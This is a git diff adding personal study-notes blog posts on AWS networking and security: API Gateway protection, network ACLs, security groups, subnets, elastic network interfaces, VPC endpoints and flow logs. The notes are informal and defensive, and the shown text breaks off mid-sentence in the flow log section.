API Gateway integrates with: +- AWS Lambda + - Lambda can be used to compute data supplied from an API. +- AWS Marketplace +- Endpoints with Private VPCs +- Fargate + - used to deploy containers but also for its computing power. + +--- + +![Screen Shot 2020-07-10 at 17.03.24](https://i.imgur.com/5VSPDj4.png) + +a serverless architecture using the API Gateway. +- includes a variety of Amazon SDKs. +- Route 53 performs the DNS resolution +- Amazon CloudFront serves cached data from the S3 bucket where the static images are stored. +- After the API Gateway receives a response to a request to backend, + - it caches the response in its own cache. + - When the same request comes through again + - the API Gateway checks its cache for the request and returns it without check with the origin instances. +- The API Gateway can work in conjunction with AWS Lambda and any of the web services shown, like DynamoDB and EC2 instances. + + + +--- + +## Security + +Security with API Gateway falls into three major buckets + +### Application Firewall + +- enable AWS Web Application Firewall (WAF) for the entire API +- WAF will inspect all incoming requests and block requests that fail your inspection rules. +- For example +- WAF can inspect requests for SQL Injection, Cross Site Scripting, or whitelisted IP addresses. + +### Resource Policy +- apply a Resource Policy that protects your entire API +- an IAM policy applied to the API +- use this to white/black list client IP ranges or allow AWS accounts and AWS principals to access your API. + + +### Authorization + +- IAM: + - This AuthZ option requires clients to sign requests with the AWS v4 signing process. + - The associated IAM role or user must have permissions to perform the `execute-api:Invoke` action against the API. + +- Cognito: + - This AuthZ option requires clients to login into Cognito and then pass the returned ID or Access JWT token in the `Authentication` header. + +- Lambda Auth: + - This AuthZ option is the most flexible + - lets you execute a Lambda function to perform any custom auth strategy needed. + - A common use case for this is OpenID Connect. + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-NACL.md b/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-NACL.md new file mode 100644 index 00000000000..bbfe9e42924 --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-NACL.md @@ -0,0 +1,95 @@ +--- +title: AWS - VPC Security - NACL Network Access control list +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, NACLs] +toc: true +image: +--- + +- [AWS - NACL Network Access control list](#aws---nacl-network-access-control-list) + + +--- + +# AWS - NACL Network Access control list + +pic + + +pic + +pic + + + + + +--- + + +The VPC router hosts the network ACL function. +- controlling traffic in and out of one or more subnets. +- might set up NACLs with rules similar to your security groups in order to add an additional layer of security to your VPC. + + + +- Stateless + - "Stateless rules" inspect all inbound and outbound traffic, + - no information about a request is maintained after a request is processed. + - don’t keep track of connections, sessions, + - allow traffic based on an incoming rule + - responses are subject to the rules for the direction of traffic. + - don’t automatically allow the corresponding outgoing traffic. + + - NACLs only apply to traffic ingress or egress to the subnet + - not traffic within the subnet. + - do not filter traffic between instances in the same subnet. + + +- provide a firewall/security/optional layer of security for VPC at the subnet level + - acts as a firewall for controlling traffic in / out of one or more subnets. + - set up network ACLs with rules that are similar to your security groups. + +- All subnets must be associated with a network ACL. + - no create NACL for a subnet, a “default NACL” will be assigned. + - the subnet is automatically associated with the default NACL. + - recommended evaluate security requirements and define each network ACL accordingly. + - can associate a network ACL with multiple subnets; + - but a subnet can be associated with only one network ACL at a time. + - When you associate a network ACL with a subnet, the previous association is removed. + +![rule](https://i.imgur.com/daOaxJJ.png) + +- default network ACL: (All allow) + - allows all inbound and outbound IPv4/IPv6 traffic + - default all inbound and outbound traffic is automatically blocked. + - but default NACL have an allow rule must be explicitly created. + - (pre-created by default VPC) ALLOW ALL inbound/outbound traffic +- custom NACL: (all deny) + - denies all traffic both inbound and outbound by default. + - denies all until you add rules. + + +- A network ACL has separate inbound and outbound rules, can either allow or deny traffic. + - NACLs preferred blocking specific IPs or ranges. + - Security groups cannot be used to block specific ranges of IPs. + - NACL is the first line of defence, + - the security group is the second line. + - rules defined by source, destination, port, and protocol. + +- A network ACL contains a numbered list of rules in order, + - starting with the lowest numbered rule. + - from the lowest number until the explicit deny. + - The highest number that you can use for a rule is 32,766. + - Rules are evaluated in numerical order. + - Recommended to leave spacing between network ACL numbers. + - associate up to 200 network ACLs in each VPC. + + + +- Changes to NACLs take effect immediately. + + + +- Also recommended to have software firewalls installed on your instances. diff --git a/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-SG.md b/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-SG.md new file mode 100644 index 00000000000..e8cfd7b339f --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-SG.md @@ -0,0 +1,171 @@ +--- +title: AWS - VPC Security - Security Group +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, NACLs] +toc: true +image: +--- + +- [AWS - Security Group](#aws---security-group) + +--- + +# AWS - Security Group + +pic + +pic + +--- + +- **acts as a `virtual firewall` for `instance network interface`** + - the **first layer of protection around instances**. + - Specifically security groups operate at the network interface level. + +- **act at the instance level**, not subnet level. + - So each instance in a subnet in VPC can be assigned to a different set of security groups. + - At the most basic level, a security group is a way to filter traffic to instances. + +- **controlling inbound and outbound traffic** for one or more instances. + - use `rules` to control traffic, filter based network protocols. + - use an entire CIDR block or another security group to create layers of security to define who or what has access to assets. + - cannot delete the security group that’s created by default within a VPC + - can use security group names as the source or destination in other security groups. + - can use the security group name as a source in its own inbound rules. + - Security group members can be within any AZ or subnet within the VPC. + - Security group membership can be changed whilst instances are running. + - Any changes made will take effect immediately. + + +- security groups `spans Availability Zones`. + - Security groups `can be shared across`: + - AWS accounts in the same region + - two VPCs in the same region + - multiple EC2s instances in a VPC + - possible to combine security groups within a VPC. + - By allowing another security group, you'll not only combine rules but also allow other users to access resource. + - Apply multiple security groups within the same VPC to an EC2 + - limit + - `Up to 5 security groups per EC2 instance` interface. + - a single Elastic Network Interfaces (ENI) + - `no limit on the number of EC2 instances within a security group`. + + +- **Security groups have rules** control the inbound and outbound traffic. + - By default includes an **outbound rule** that `allows all outbound traffic`. + - access is determined by the traffic type (such as HTTP/S, SSH), protocol (such as ALL/TCP/UDP), port range, source, and optional description. + - ![Screen Shot 2020-05-06 at 00.44.36](https://i.imgur.com/GA9pxaY.png) + +- **stateful** + - state information is kept even after a request is processed. + - request from instance, the response traffic is allowed to flow in regardless of inbound security group rules. + - Responses to allowed inbound traffic are allowed to flow out, `regardless of outbound rules`. + - Automatically allow EC2s inbound response traffic based on its outbound request + - `if inbound request is allowed, the outbound response is allowed automatically`. + - `if send a request from instance, the response traffic for that request is allowed` to flow in regardless of inbound security group rules. + - initiate an HTTP request to instance from home computer, + - inbound security group rules allow HTTP traffic, information about the connection (source IP address, port number) is tracked. + - The HTTP response from instance to home computer is recognized as part of an established connection + - allowed through the security group + - even if the security group rules restrict outbound HTTP Traffic. + +- custom security group, specify **allow rules, not deny rules** + +- All rules are evaluated before the decision to allow traffic. + +- **When create a Security Group, it has no inbound rules** + - **can add allow rules, not deny rules** + - By default will `deny all incoming traffic. allow all outbound traffic`. + - By default, default security groups do have inbound allow rules (allowing traffic from within the group). + - By default, custom security groups do not have inbound allow rules (all inbound traffic is denied by default). + - there is an `implicit deny rule at the end of the security group` + - All rules are evaluated until a permit is encountered or continues until the implicit deny. + - cannot block specific IP addresses using security groups, use NACLs instead. + - not to make security groups too complex. + - Modifying the default outbound rule increases complexity + - not recommended unless it’s required for compliance. + - create inbound rules for each functional tier (web, application, and data) within an application. + - chain of security groups rules per application tier. + - The inbound and outbound rules are set up so that traffic can only flow from the top tier to the bottom tier, and back up again. + - The security groups act as firewalls that prevent a security breach in one tier from automatically providing subnet-wide access to all resources in the compromised client. + - web tier Elastic Load Balancing security group. + - It’s allowed to talk to the web tier security group over port 80, but that traffic has to come from the web tier elastic load balancer. The traffic can’t come directly from the internet and access the web tier security group and its servers. + - The third tier is the application tier elastic load balancer, only accepts traffic that comes from the web tier security group over port 8080. + - The application tier security group servers will only accept traffic that comes from the application tier elastic load balancer group from port 8080. + - Finally, get to the data tier, only accept inbound traffic from the application tier over port 3306. + - With this kind of security chaining, someone from the internet can’t get beyond the web tier load balancer security group. +- receive an alert about an issue between an application and the database servers. + - Since the issue is communication between the application and server, should check security group rules since security groups control access at the instance ENI level. + + +```json +{ + "tags": [ + { + "key": "Name", + "value": "value" + }, + ], + "vpcId": "vpc-abc", + "region": "us-1", + "groupId": "sg-123", + "ownerId": "123", + "isShared": false, + "groupName": "sg123", + "description": "hi", + "ipPermissions": [ + { + "toPort": 1, + "fromPort": 2, + "ipRanges": [], + "ipProtocol": "tcp", + "ipv4Ranges": [], + "ipv6Ranges": [], + "prefixListIds": [], + "userIdGroupPairs": [ + { + "userId": "123", + "groupId": "sg-123", + "description": "xxx" + } + ] + }, + { + "toPort": 22, + "fromPort": 22, + "ipRanges": [ + "0.0.0.0/16" + ], + "ipProtocol": "tcp", + "ipv4Ranges": [ + { + "cidrIp": "0.0.0.0/16", + "description": "xxx" + } + ], + "ipv6Ranges": [], + "prefixListIds": [], + "userIdGroupPairs": [] + }, + ], + "ipPermissionsEgress": [ + { + "ipRanges": [ + "0.0.0.0/0" + ], + "ipProtocol": "-1", + "ipv4Ranges": [ + { + "cidrIp": "0.0.0.0/0" + } + ], + "ipv6Ranges": [], + "prefixListIds": [], + "userIdGroupPairs": [] + } + ] +} + + +``` diff --git a/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-SGandNACL.md b/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-SGandNACL.md new file mode 100644 index 00000000000..53a3fa9d15c --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkControl/2020-07-18-SGandNACL.md @@ -0,0 +1,48 @@ +--- +title: AWS - VPC Security +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, NACLs] +toc: true +image: +--- + +- [AWS - VPC Security](#aws---vpc-security) + +--- + +# AWS - VPC Security + + +two Amazon VPC firewall options to secure VPC: +- [security groups](https://ocholuo.github.io/posts/SG/) +- [network access control lists (network ACLs)](https://ocholuo.github.io/posts/NACL/) + +pic + +![Pasted Graphic](https://i.imgur.com/00ilDRL.png) + +![Screen Shot 2020-05-06 at 00.47.40](https://i.imgur.com/Sh4WHHF.png) + + +![Screen Shot 2020-05-06 at 00.27.58](https://i.imgur.com/nHxCUWC.png) + + +![Screen Shot 2020-05-06 at 00.41.34](https://i.imgur.com/RICvhdi.png) + +![Screen Shot 2020-06-08 at 20.21.29](https://i.imgur.com/RxKRJep.png) + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Network/NetworkSegment/2018-05-18-ENI.md b/_posts/01Cloud/01AWS/Network/NetworkSegment/2018-05-18-ENI.md new file mode 100644 index 00000000000..d94303e6701 --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkSegment/2018-05-18-ENI.md @@ -0,0 +1,94 @@ +--- +title: NetworkSec - VPC - ENI +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + + +- [Elastic IP](#elastic-ip) + - [Elastic IP address](#elastic-ipaddress) + - [ENI - Elastic Network Interface](#eni---elastic-network-interface) + + +--- + +# Elastic IP + +--- + +## Elastic IP address + +basic + +- a `static and public IPv4 address` designed for dynamic cloud computing. + +- can be attached to EC2 instance. + - associate an Elastic IP address with any instance or network interface for any VPC in your account. + +- can **mask the failure of an instance or software** + - by rapidly `remapping the address to another instance in your VPC` + - allowing users and clients to use the same IP address with replacement resources. + - An Elastic IP address is assigned to any Amazon EC2 instance. + - If that Amazon EC2 instance failed, + - a new Amazon EC2 instance could be launched with that IP address and the application does not require any changes as it will have the same IP address. + - ![Screen Shot 2022-07-04 at 16.54.26](https://i.imgur.com/euJGRHY.png) + +Implement +- Associating the **Elastic IP address** with the **Network interface** has an advantage over associating it directly with the instance. +- move all of the attributes of the network interface from one instance to another in a single step. +- Additional costs might apply + + +--- + +## ENI - Elastic Network Interface + +![Screen Shot 2022-07-04 at 16.58.39](https://i.imgur.com/4GCKXj5.png) + +- a virtual network interface that can `attach or detach from an instance in a VPC`. + - A network interface's attributes follow it when it is reattached to another instance. + - move a network interface from one instance to another, network traffic is redirected to the new instance. + + +**Primary / Secondary network interface** +- Each instance in VPC has a default network interface (**primary network interface**) + - a private IPv4 address from the IPv4 address range of your VPC. + + +- can create and attach an additional network interface to any instance in your VPC. + - The number of network interfaces you can attach varies by instance type. + + +1. configuring network interfaces + - attach a network interface to an instance + - when it's running (hot attach), + - when it's stopped (warm attach), + - when the instance is being launched (cold attach). + +2. can detach secondary network interfaces when the instance is running or stopped. + - primary network interface cannot detach from instance. + +3. can move a network interface from one instance to another, if the instances are in the same Availability Zone and VPC but in different subnets. + +4. When launching an instance using the CLI, API, or an SDK, can specify the primary network interface and additional network interfaces. + +5. configures interfaces + - A warm / hot attach of additional network interface + - may require manually bring up the second interface, configure the private IPv4 address, and modify the route table accordingly. + - Instances running Amazon Linux or Windows Server + - automatically recognize the warm or hot attach and configure themselves. + - automatically configures interfaces, private IPv4 addresses, and route tables on the operating system of the instance. + +6. Attaching another network interface to an instance (for example, a NIC teaming configuration) cannot increase or double the network bandwidth to or from the dual-homed instance. + +7. If you attach two or more network interfaces from the same subnet to an instance, you may encounter networking issues such as asymmetric routing. + - If possible, use a secondary private IPv4 address on the primary network interface instead. + + + + + +. diff --git a/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-Subnet.md b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-Subnet.md new file mode 100644 index 00000000000..206c23e6c4e --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-Subnet.md @@ -0,0 +1,190 @@ +--- +title: AWS - VPC - Subnet +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [Subnet](#subnet) + - [IP addressing](#ip-addressing) + - [Subnet sizes:](#subnet-sizes) + - [Subnet types:](#subnet-types) + - [public subnet](#public-subnet) + - [private subnet](#private-subnet) + - [VPN-only subnet](#vpn-only-subnet) + +--- + +# Subnet + +- a range of IP addresses in a VPC. +- A subsection, segments, or partitions of a network. Divided by CIDR range. +- **Subnets can only belong to a single Availability Zone**. + - can't span across Availability Zones. +- Subnets are generally classified as public or private. + - Public subnets have direct access to the internet + - private subnet do not. + + +- Subnets should be used to define which parts of the network are accessible to the internet, and which parts are not. + + - Rather than defining subnets based on application or functional tier—such as web, application, data, etc. + - it’s recommended that organize subnets based on internet accessibility. + - to define clear, subnet-level isolation between public and private resources. + + + + +## IP addressing +- When create VPC, specify its set of IP addresses with Classless Inter-Domain Routing (CIDR) notation + - IP addresses enable resources in VPC to communicate with each other and with resources over the internet. + - After create a VPC, cannot change the address range + - CIDR notation: a simplified way to show a specific range of IP addresses. + - example: 10.0.0.0/16. + +- IPv4 CIDR block: + - large as /16 (2^16, or 65,536 addresses) + - small as /28 (2^4, or 16 addresses) +- IPv6 CIDR block: + - associate an IPv6 CIDR block with your VPC and subnets, and assign IPv6 addresses from that block to the resources in your VPC. + - IPv6 CIDR blocks have a different block size limit. + +- The CIDR block of a subnet = the CIDR block for a VPC. + - the VPC and the subnet are the same size (a single subnet in the VPC). +- the CIDR block of a subnet can be a subset < the CIDR block for the VPC. + - This structure enables multiple subnets. + - create more than one subnet in a VPC, the CIDR blocks of the subnets cannot overlap. + - You cannot have duplicate IP addresses in the same VPC. + + +AWS reserves these IP addresses: +- 5 IP addresses are automatically reserved on every network range. +- `10.0.0.0` : Network address +- `10.0.0.1` : VPC local router (internal communications) +- `10.0.0.2` : Domain Name System (DNS) resolution +- `10.0.0.3` : Future use +- `10.0.0.255` : Network broadcast address + + +--- + +## Subnet sizes: + +> Recommended: consider larger subnets over smaller ones, such as /24 and larger. + + Choose larger range of IP ranges than smaller range +- simplifies workload placement + - place a workload among 10 small subnets is more complicated than place the same workload with one large subnet. +- less likely to waste or run out of IP addresses + - subnet runs out of available IP addresses, can't add more IP addresses to that subnet. + - For example, if you have 251 IP addresses in a subnet that's using only 25 of them, you can't share the unused 226 IP addresses with another subnet that's running out. + - Consider where you will be five years down the road because this will save you a lot of time. + - no necessary to limit Address Resolution Protocol, ARP, broadcast domains because this is solved by the VPC + + +--- + + +## Subnet types: + + + +To divide subnets. + +- Subnets should be used to define internet accessibility + - so might not good to have more than one public and one private subnet per Availability Zone. + - ![subnets](https://i.imgur.com/1h4BAuS.png) + +- resources in subnet: + - all resources that require direct access internet would go into the public subnet + - (public-facing load balancers, NAT instances, bastion hosts, etc) + + - all other instances would go into your private subnet + - Exception: resources that require absolutely no access to the internet, either directly or indirectly. + - These resources would go into a separate private subnet. + + +- use subnets to create layers of separation between "tiers" of resources + - such as put backend application instances and data resources in separate private subnets + - requires accurately predict hosts number needed in each subnet, + - more likely run out of IP addresses more quickly, + - or leave too many IP addresses unused when they could be used elsewhere. + + +- plan architecture + - anticipate how many hosts the VPC need, how many hosts can be placed in private subnets. + - anticipate how many public / private IP addresses the VPC needs, + - reduce the risk of overcomplicating the infrastructure and waste / run out of IP addresses. + +- use other resources to create segregation between resources within a subnet + - segregation + - Subnets can provide a very basic element of segregation between resources by NACL rules + - security groups can provide even more fine-grained level of traffic control between resources + +- Allocate substantially more IP address for private subnets than for public subnets + - ![Screen Shot 2020-06-21 at 19.53.57](https://i.imgur.com/vTZaT85.png) + - The majority of resources on AWS can be hosted in private subnets + - use public subnets for controlled access to and from the internet as necessary. + - always need more private IP addresses than public IP addresses + - because the more resources expose to the internet, the more vulnerable you become. + - protect IP resources by placing them in a private subnet. + + + + +--- + +### public subnet +- routed to an internet gateway + - include a routing table entry to an internet gateway + - internet gateway + - The subnet route table has an attached Internet Gateway. + - to support inbound or outbound access to the public Internet. +- “Auto-assign public IPv4 address” set to “Yes”. + - every instance in VPC gets a public IP address automatically + - can also request a public IP address to be assigned when create the instance by modifying the subnet’s auto-assign public IP address properties. + + +--- + +### private subnet +- does not have a route to an internet gateway + - do not have a routing table entry to an internet gateway +- Not directly accessible from the Public subnets + - If you private subnet requires internet access + - for example: to download security patches for applications, + - use a "jump box" + - to support the restricted, outbound-only public internet access. + - A “jump box”: NAT, proxy, or bastion host + + +- private + - web-tier instances: + - private subnets that are behind a load balancer placed in a public subnet. + - If require web application instances to be attached to Elastic IP addresses directly, even though you can also attach an Elastic IP address to a load balancer. In those cases, web application instances would need to be in a public subnet. + - Data store instances + - Batch processing instances + - Backend instances + +--- + +### VPN-only subnet +- doesn’t have a route to the internet gateway +- but has traffic routed to a virtual private gateway for a `VPN connection` + +--- + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC-Endpoint.md b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC-Endpoint.md new file mode 100644 index 00000000000..c5011447948 --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC-Endpoint.md @@ -0,0 +1,182 @@ +--- +title: AWS - VPC - VPC endpoint +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [VPC endpoint](#vpc-endpoint) + - [Example](#example) + - [without VPC endpoint](#without-vpc-endpoint) + - [with **S3 VPC endpoint**](#with-s3-vpc-endpoint) + - [basic](#basic) + - [3 types of VPC endpoints](#3-types-of-vpc-endpoints) + - [Interface endpoint](#interface-endpoint) + - [Gateway endpoints:](#gateway-endpoints) + - [Gateway Load Balancer endpoints](#gateway-load-balancer-endpoints) +- [AWS PrivateLink](#aws-privatelink) + - [AWS PrivateLink access over Inter-Region VPC Peering:](#aws-privatelink-access-over-inter-region-vpc-peering) + +--- + + +# VPC endpoint + + +--- + +## Example + +### without VPC endpoint + +**workflow**: +- the EC2 instance is in a public subnet, has access to the internet +- the EC2 instance can reach the AWS S3 URL to copy the file from the S3 bucket + +![image](https://i.imgur.com/nTiSXWl.png) + +![image](https://i.imgur.com/DcLHLMW.jpg) + +![image-2](https://i.imgur.com/GVIKCR9.png) + +S3 access from a private subnet doesn’t work, because: +- the EC2 instance is in a private subnet + - has no internet access + - can’t reach the AWS S3 URL, and the request will time out + +### with **S3 VPC endpoint** +- provides a way for an S3 request to be routed through to the Amazon S3 service, without having to connect a subnet to an internet gateway. +- S3 VPC endpoint is what’s known as a gateway endpoint. It works by adding an entry to the route table of a subnet, forwarding S3 traffic to the S3 VPC endpoint. +- have a route for requests with a destination s3.eu-west-1.amazonaws.com to target the VPC endpoint. Therefore any S3 requests will be routed through to S3. +- ![route-table-with-s3-endpoint-small](https://i.imgur.com/o1oIQZJ.png) + +![image-1](https://i.imgur.com/858oda3.png) + + +--- + + +## basic + +- a virtual device +- horizontally scaled, redundant, and highly available VPC components. +- They allow communication between instances in your VPC and services without imposing availability risks. + +- use When a private instance needs to access a supported AWS public services without leaving the AWS network + + +> By default, IAM users do not have permission to work with endpoints. +> - create an IAM user policy that grants users the permissions to create, modify, describe, and delete endpoints. + + +--- + +## 3 types of VPC endpoints + +![Screen Shot 2020-05-05 at 23.19.04](https://i.imgur.com/WtBhpLe.png) + +![Pasted Graphic 6](https://i.imgur.com/iYbP71R.jpg) + +- a PrivateLink connection +- connects an AWS public service to a VPC using a private connection. + + +--- + + +### Interface endpoint + +- a logical networking component in a VPC + +- A VPC interface endpoint is an elastic network interface + - represents a **virtual network card** with a `private IP address` from the IP address range of your subnet. + - use **DNS names** to resolve requests to a public AWS service. + - It serves as an entry point for traffic destined to a supported AWS/VPC endpoint service + +- **Interface endpoints** are powered by AWS PrivateLink + - AWS PrivateLink + - a technology that enables you to privately access services by using private IP addresses. + - connect to services that are powered by AWS PrivateLink + - These services include: + - some AWS services, + - services that are hosted by other AWS customers and AWS Partner Network (APN) Partners in their own VPCs (referred to as endpoint services), + - and supported AWS Marketplace APN Partner services. + +- service provider: The owner of the service + +- service consumer: you, the principal who creates the interface endpoint + - You are charged for creating and using an interface endpoint to a service. + - Hourly usage rates and data processing rates apply. + + +--- + + +### Gateway endpoints: +- a gateway specify as a target for a specified route in route table, used for traffic destined to a supported AWS service. + +- no additional charge. + - Standard charges for data transfer and resource usage apply. + +- Gateway endpoints are only available for: + - Amazon DyanmoDB + - Amazon S3 + +- use case: + - When a private instance needs to access a supported AWS public services such as DynamoDB or S3 without leaving the AWS network + + +--- + + +### Gateway Load Balancer endpoints + + an elastic network interface with a private IP address from the IP address range of your subnet +- It serves as an entry point to intercept traffic and route it to a service configured using Gateway Load Balancers + - for example, for security inspection. + - Gateway Load Balancer endpoints are powered by AWS PrivateLink. + +- provides private connectivity between virtual appliances in service provider VPC and application servers in service consumer VPC + - deploy the Gateway Load Balancer in the same VPC as the virtual appliances. + - register the virtual appliances with a target group for the Gateway Load Balancer. + - specify a Gateway Load Balancer endpoint as a target for a route in a route table. + - Traffic to and from a Gateway Load Balancer endpoint is configured using route tables. + - Traffic flows + - from the service consumer VPC over the Gateway Load Balancer endpoint + - to the Gateway Load Balancer in the service provider VPC, + - and then returns to the service consumer VPC. + - create the Gateway Load Balancer endpoint and the application servers in different subnets. + - This enables you to configure the Gateway Load Balancer endpoint as the next hop in the route table for the application subnet. +- Gateway Load Balancer endpoints are supported for endpoint services that are configured for Gateway Load Balancers only. + + +--- + +# AWS PrivateLink +- a PrivateLink connection +- connects an AWS public service to a VPC using a private connection + +- privately access services by using private IP addresses. + - privately connect VPC to + - supported AWS services + - services hosted by other AWS accounts (VPC endpoint services) + - supported AWS Marketplace partner services. + - that are powered by AWS PrivateLink + - An Interface for endpoint to uses AWS PrivateLink + - an elastic network interface (ENI) with a private IP address that serves as an entry point for traffic destined to a supported service + - connectionn from instances in VPC to the services + - does not require an internet gateway, NAT device, VPN connection, or AWS Direct Connect connection + - Instances in the VPC do not require public IP addresses to communicate with resources in the service. + - Traffic between the VPC and the other service does not leave the Amazon network + +--- + +## AWS PrivateLink access over Inter-Region VPC Peering: +AWS PrivateLink +- Applications in an AWS VPC can securely access AWS PrivateLink endpoints across AWS Regions using Inter-Region VPC Peering +- privately access services hosted on AWS in a highly available and scalable manner, + - without using public IPs or let traffic traverse the Internet. + - Traffic using Inter-Region VPC Peering stays on the global AWS backbone and never traverses the public Internet. +- privately connect to a service even if the service endpoint resides in a different AWS Region. diff --git a/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC-monitor.md b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC-monitor.md new file mode 100644 index 00000000000..72e16f672fc --- /dev/null +++ b/_posts/01Cloud/01AWS/Network/NetworkSegment/2020-07-18-VPC-monitor.md @@ -0,0 +1,331 @@ +--- +title: AWS - VPC - Log and monitor +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Network] +tags: [AWS, Network, VPC] +toc: true +image: +--- + +- [Log and monitor for Amazon VPC](#log-and-monitor-for-amazon-vpc) + - [Monitoring NAT gateways using Amazon CloudWatch](#monitoring-nat-gateways-using-amazon-cloudwatch) + - [VPC Flow Logs](#vpc-flow-logs) + - [Flow logs basics](#flow-logs-basics) + - [create a flow log](#create-a-flow-log) + - [Flow log records](#flow-log-records) + - [Flow log limitations](#flow-log-limitations) + - [Flow logs pricing](#flow-logs-pricing) + - [price](#price) + +--- + +# Log and monitor for Amazon VPC + + +use automated monitoring tools to watch components in VPC and report when something is wrong: +1. **Flow logs**: + 1. Flow logs capture information about the IP traffic going to and from network interfaces in VPC. + 2. create a flow log for a VPC, subnet, or individual network interface. + 3. Flow log data is published to CloudWatch Logs or Amazon S3 + 4. help diagnose overly restrictive or overly permissive security group and network ACL rules. +2. **Monitoring NAT gateways**: + 1. monitor NAT gateway using CloudWatch, which collects information from NAT gateway and creates readable, near real-time metrics. +3. **Traffic Mirroring** + 1. provides deeper insight into the network traffic by allow analyze actual traffic content, including payload. + 2. Traffic Mirroring is targeted for the following types of cases: + 1. Analyzing the actual packets to perform a root-cause analysis on a performance issue + 2. Reverse-engineering a sophisticated network attack + 3. Detecting and stopping insider abuse or compromised workloads + +--- + +## Monitoring NAT gateways using Amazon CloudWatch + +monitor NAT gateway using CloudWatch +- collects information from NAT gateway and creates readable, near real-time metrics. +- use this information to monitor and troubleshoot NAT gateway. +- NAT gateway metric data is provided at 1-minute intervals, and statistics are recorded for a period of 15 months. + +For more information about Amazon CloudWatch, see the Amazon CloudWatch User Guide. For more information about pricing, see Amazon CloudWatch Pricing. + +--- + +## VPC Flow Logs + +> to monitor VPC traffic + +> to verify that the configured network access rules are working as expected + +### Flow logs basics +VPC Flow Logs +1. captures accepted and rejected traffic flow information that goes to and from all network interfaces in your VPC or in the selected resource. + - troubleshoot connectivity and security issues + - why specific traffic is not reaching an instance + - test network access rules + - diagnose overly restrictive security group rules. + - monitor traffic that reaching the instance + - Determining the `direction of the traffic` to and from the network interfaces + - detect and investigate security incidents + +2. can create alarms + - notify if certain types of traffic are detected + - create metrics to identify trends and patterns. + + +3. enable flow log + - Flow logs can be enabled/created at the following levels: + - VPC. + - Subnet. + - Network interface. + - If create a flow log for a subnet / VPC, each network interface in the VPC or subnet is monitored. + + +4. Flow log data is recorded as flow log records + - log events consisting of fields that describe the traffic flow. + - Flow log data is collected outside of the path of network traffic + - therefore does not affect network throughput or latency. + - create or delete flow logs without any risk of impact to network performance. + + +5. can be published to Amazon CloudWatch Logs or Amazon S3 + - CloudWatch Logs + - Flow log data is published / stored to a log group in CloudWatchLogs + - each network interface has a unique log stream + - Log streams contain flow log records, + - which are log events that consist of fields that describe the traffic for that network interface. + + - it can take several minutes to begin collecting and publishing data to the chosen destinations. + - Flow logs do not capture real-time log streams for network interfaces + - If you launch more instances into subnet after you've created a flow log for subnet or VPC, a new log stream (for CloudWatch Logs) or log file object (for Amazon S3) is created for each new network interface. + - This occurs as soon as any network traffic is recorded for that network interface. + + +6. analyze flow logs with your own applications or with solutions from AWS Marketplace. + +--- + +You cannot: +- can’t enable flow logs for VPC’s that are peered with your VPC unless the peer VPC is in your account. +- can’t tag a flow log. +- can’t change the configuration of a flow log after it’s been created. + - need to delete and re-create + + +Not all traffic is monitored, e.g. the following traffic is excluded: +- Traffic that goes to Route53. +- Traffic generated for Windows license activation. +- Traffic to and from 169.254.169.254 (instance metadata). +- Traffic to and from 169.254.169.123 for the Amazon Time Sync Service. +- DHCP traffic. +- Traffic to the reserved IP address for the default VPC router. + +--- + +### create a flow log + +To create a flow log, you specify: +- `The resource` for which to create the flow log +- `The type` of traffic to capture (accepted traffic, rejected traffic, or all traffic) +- `The destinations` to publish the flow log data + +![flow-logs-diagram](https://i.imgur.com/sBGBdBd.png) + + +You can create flow logs for network interfaces that are created by other AWS services, such as: +- Elastic Load Balancing +- Amazon RDS +- Amazon ElastiCache +- Amazon Redshift +- Amazon WorkSpaces +- NAT gateways +- Transit gateways +- Regardless of the type of network interface, you must use the `Amazon EC2 console` or the `Amazon EC2 API` to create a flow log for a network interface. + +You can apply tags to flow logs. +- Each tag consists of a key and an optional value, both of which you define. +- Tags can help to organize flow logs + +delete +- Deleting a flow log disables the flow log service for the resource, and no new flow log records are created or published to CloudWatch Logs / Amazon S3. +- Deleting the flow log does not delete any existing flow log records or log streams (for CloudWatch Logs) or log file objects (for Amazon S3) for a network interface. +- To delete an existing log stream, use the CloudWatch Logs console. +- To delete existing log file objects, use the Amazon S3 console. +- After you've deleted a flow log, it can take several minutes to stop collecting data. + + +--- + +### Flow log records +- A flow log record represents a network flow in VPC. +- By default, each record captures a network internet protocol (IP) traffic flow (characterized by a 5-tuple on a per network interface basis) that occurs within an aggregation interval, also referred to as a capture window. +- By default, the record includes values for the different components of the IP flow, including the source, destination, and protocol. +- When you create a flow log, you can use the default format for the flow log record, or you can specify a custom format. + - Topics + - Aggregation interval + - Default format + - Custom format + - Available fields + +**Aggregation interval** +- the period of time during which a particular flow is captured and aggregated into a flow log record. + - By 